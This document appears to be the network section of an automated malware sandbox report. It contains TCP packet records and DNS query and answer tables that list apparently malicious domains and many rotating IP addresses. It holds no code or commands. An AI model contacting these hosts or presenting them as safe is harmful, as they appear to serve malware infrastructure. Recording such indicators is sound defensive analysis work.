Feb 5, 2024 10:57:31.348365068 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.348400116 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.348436117 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.348437071 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.348474979 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.348515034 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.349067926 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.349167109 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.349205017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.349205971 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.349242926 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.349280119 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.349311113 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.349318981 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.349358082 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.349940062 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.349977016 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.350013018 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.350017071 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.350049973 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.350087881 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.350104094 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.350142002 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.350182056 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.350795984 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.350835085 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.350872993 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.351032972 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.351077080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.351114988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.351120949 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.351165056 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.351202965 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.351202965 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.351241112 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.351279020 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.351279974 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.352049112 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.352087975 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.352094889 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.352125883 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.352161884 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.352164030 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.352199078 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.352245092 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.352246046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.352287054 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.352328062 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.353025913 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.353066921 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.353104115 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.353110075 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.353142023 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.353178024 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.353179932 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.353215933 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.353252888 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.353254080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.354062080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.354099035 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.354110956 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.354135036 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.354171991 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.354173899 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.354208946 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.354244947 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.354247093 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.354285955 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.354324102 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.355016947 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.355055094 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.355089903 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.355094910 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.355128050 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.355165958 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.355168104 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.355206013 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.355242014 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.355242014 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.355855942 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.355910063 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.355957031 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.355997086 CET	80	49736	104.21.67.46	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 5, 2024 10:57:18.682666063 CET	192.168.2.4	1.1.1.1	0xcc36	Standard query (0)	selebration17io.io	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:30.000365019 CET	192.168.2.4	1.1.1.1	0x1f3e	Standard query (0)	real.avalmag.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:30.483583927 CET	192.168.2.4	1.1.1.1	0x125	Standard query (0)	resergvearyinitiani.shop	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:31.757091999 CET	192.168.2.4	1.1.1.1	0x5a14	Standard query (0)	gemcreedarticulateod.shop	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:32.832983017 CET	192.168.2.4	1.1.1.1	0xeabf	Standard query (0)	secretionsuitcasenioise.shop	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:33.966409922 CET	192.168.2.4	1.1.1.1	0x9ec6	Standard query (0)	claimconcessionrebe.shop	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:35.055670977 CET	192.168.2.4	1.1.1.1	0xb3b0	Standard query (0)	liabilityarrangemenyit.shop	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.085189104 CET	192.168.2.4	1.1.1.1	0x6c99	Standard query (0)	trmpc.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:13.364873886 CET	192.168.2.4	1.1.1.1	0xb48	Standard query (0)	sjyey.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:14.359117031 CET	192.168.2.4	1.1.1.1	0xb48	Standard query (0)	sjyey.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:15.385772943 CET	192.168.2.4	1.1.1.1	0xb48	Standard query (0)	sjyey.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.374324083 CET	192.168.2.4	1.1.1.1	0xb48	Standard query (0)	sjyey.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:25.840388060 CET	192.168.2.4	1.1.1.1	0xcfbd	Standard query (0)	mmtplonline.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:31.478267908 CET	192.168.2.4	91.211.247.248	0x2582	Standard query (0)	bobjbem.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:32.010015011 CET	192.168.2.4	1.1.1.1	0x6b6a	Standard query (0)	emgvod.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:33.004739046 CET	192.168.2.4	1.1.1.1	0x6b6a	Standard query (0)	emgvod.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:34.023225069 CET	192.168.2.4	1.1.1.1	0x6b6a	Standard query (0)	emgvod.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.058799982 CET	192.168.2.4	1.1.1.1	0x6b6a	Standard query (0)	emgvod.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.864386082 CET	192.168.2.4	1.1.1.1	0x7b16	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:27.288130045 CET	192.168.2.4	1.1.1.1	0xb0a9	Standard query (0)	imap.cogeco.ca	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:38.881742001 CET	192.168.2.4	1.1.1.1	0xf563	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:39.702995062 CET	192.168.2.4	1.1.1.1	0x1654	Standard query (0)	www.vseinstrumenti.ru	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:50.159668922 CET	192.168.2.4	1.1.1.1	0xeda2	Standard query (0)	sjyey.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:51.171977043 CET	192.168.2.4	1.1.1.1	0xeda2	Standard query (0)	sjyey.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.179048061 CET	192.168.2.4	1.1.1.1	0xeda2	Standard query (0)	sjyey.com	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:01:02.800631046 CET	192.168.2.4	1.1.1.1	0x32ab	Standard query (0)	www.mvideo.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 5, 2024 10:57:18.826703072 CET	1.1.1.1	192.168.2.4	0xcc36	No error (0)	selebration17io.io		91.215.85.120	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:30.120661974 CET	1.1.1.1	192.168.2.4	0x1f3e	No error (0)	real.avalmag.com		104.21.67.46	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:30.120661974 CET	1.1.1.1	192.168.2.4	0x1f3e	No error (0)	real.avalmag.com		172.67.213.22	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:30.632627964 CET	1.1.1.1	192.168.2.4	0x125	No error (0)	resergvearyinitiani.shop		104.21.94.2	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:30.632627964 CET	1.1.1.1	192.168.2.4	0x125	No error (0)	resergvearyinitiani.shop		172.67.217.100	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:31.904117107 CET	1.1.1.1	192.168.2.4	0x5a14	No error (0)	gemcreedarticulateod.shop		104.21.80.171	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:31.904117107 CET	1.1.1.1	192.168.2.4	0x5a14	No error (0)	gemcreedarticulateod.shop		172.67.152.52	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:32.983870983 CET	1.1.1.1	192.168.2.4	0xeabf	No error (0)	secretionsuitcasenioise.shop		172.67.213.168	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:32.983870983 CET	1.1.1.1	192.168.2.4	0xeabf	No error (0)	secretionsuitcasenioise.shop		104.21.16.152	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:34.116894960 CET	1.1.1.1	192.168.2.4	0x9ec6	No error (0)	claimconcessionrebe.shop		104.21.58.31	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:34.116894960 CET	1.1.1.1	192.168.2.4	0x9ec6	No error (0)	claimconcessionrebe.shop		172.67.199.120	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:35.206084013 CET	1.1.1.1	192.168.2.4	0xb3b0	No error (0)	liabilityarrangemenyit.shop		104.21.83.220	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:35.206084013 CET	1.1.1.1	192.168.2.4	0xb3b0	No error (0)	liabilityarrangemenyit.shop		172.67.182.52	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		189.232.12.90	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		181.197.171.222	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		185.12.79.25	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		151.233.51.166	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:57:44.481242895 CET	1.1.1.1	192.168.2.4	0x6c99	No error (0)	trmpc.com		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		186.147.159.149	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		181.197.171.222	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		187.134.41.207	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		187.156.38.229	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		190.195.60.212	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456393957 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		95.86.30.3	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		186.147.159.149	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		181.197.171.222	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		187.134.41.207	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		187.156.38.229	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		190.195.60.212	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456418991 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		95.86.30.3	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		186.147.159.149	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		181.197.171.222	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		187.134.41.207	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		187.156.38.229	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		190.195.60.212	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.456526995 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		95.86.30.3	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		186.147.159.149	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		181.197.171.222	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		187.134.41.207	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		95.86.30.3	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		187.156.38.229	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:17.491503000 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	sjyey.com		190.195.60.212	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:26.479917049 CET	1.1.1.1	192.168.2.4	0xcfbd	No error (0)	mmtplonline.com		103.20.213.70	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:31.708045006 CET	91.211.247.248	192.168.2.4	0x2582	No error (0)	bobjbem.com		185.196.8.22	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		189.232.12.90	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		181.197.171.222	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		185.12.79.25	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		151.233.51.166	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245560884 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		189.232.12.90	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		181.197.171.222	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		185.12.79.25	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		151.233.51.166	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245615005 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		189.232.12.90	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		181.197.171.222	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		185.12.79.25	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		151.233.51.166	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245651007 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		189.232.12.90	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		181.197.171.222	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		185.12.79.25	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		151.233.51.166	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:58:36.245686054 CET	1.1.1.1	192.168.2.4	0x6b6a	No error (0)	emgvod.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:59:08.022742987 CET	1.1.1.1	192.168.2.4	0x68bf	Server failure (2)	anfesq.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:59:08.022809029 CET	1.1.1.1	192.168.2.4	0x68bf	Server failure (2)	anfesq.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 10:59:13.448940992 CET	1.1.1.1	192.168.2.4	0x29ed	Server failure (2)	anfesq.com	none	none	A (IP address)	IN (0x0001)	false
